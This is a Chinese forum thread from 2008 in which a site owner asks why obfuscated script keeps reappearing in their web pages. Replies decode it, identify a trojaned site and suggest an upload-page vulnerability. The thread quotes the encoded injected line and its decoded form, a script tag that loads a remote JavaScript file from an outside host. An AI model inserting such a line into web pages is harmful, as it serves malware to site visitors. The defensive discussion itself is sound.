前段时间网站的很多网页被加入了以下代码:
<script>document.writeln("\x3C\x73\x63\x72\x69\x70\x74\x20\x73\x72\x63\x3D\x68\x74\x74\x70\x3A\x2F\x2F\x4F\x25\x36\x36\x25\x36\x36\x25\x34\x39\x25\x36\x33\x65\x25\x32\x45\x25\x34\x36\x25\x34\x31\x51\x25\x35\x33\x25\x36\x35\x25\x37\x32\x76\x2E\x25\x34\x33\x25\x36\x46\x25\x34\x44\x2F\x25\x34\x36\x25\x34\x31\x25\x35\x31\x25\x32\x45\x25\x36\x41\x25\x37\x33\x3E\x3C\x2F\x73\x63\x72\x69\x70\x74\x3E");</script>
而且你把代码删除之后再改了所有密码 还是会被加上那些代码.现在随便复制中间的一段代码在百度搜下简直太多了,网站的说明全变成了那段代码,其中的原因真的搞不懂,希望得到高手的帮助,感激不尽!!!

[ 本帖最后由 npngstudio 于 2008-3-6 14:25 编辑 ]

给出具体地址？

现在没有了 上次清除代码后就一直没事 我害怕再出事 想知道原因在哪

http://www.jiahaowenhua.com

解密之后应该是这样的:
<script>document.writeln("<script src=http://OffIce.FAQServ.CoM/FAQ.js></script>");</script>

看了下那个JS里的内容 服务器的确被挂马了

有点明白了
呵呵
好久没看代码了

是网站有漏洞吗?还是服务器有漏洞?

具体怎么做的我也不知道 能肯定的是网站被黑了
大多数情况是WEB的漏洞 也不排除服务器

那就麻了烦了......唉

<script>document.writeln("<script src=http://OffIce.FAQServ.CoM/FAQ.js></script>");</script>
这样看确实是被挂马了阿 你看看后台有什么漏洞没有 比如说ｕｐｆｉｌｅ这样文件经常被人家利用

引用:

原帖由 modernsky 于 2008-3-9 15:39 发表
document.writeln("");
这样看确实是被挂马了阿 你看看后台有什么漏洞没有 比如说ｕｐｆｉｌｅ这样文件经常被人家利用

怎么查看网站有没有漏洞?这方面我不是很懂,有具体的操作方法吗?

今天又被加入代码了 :mad:

请问是如何解密的?

把上传的功能去掉,包你没事

路过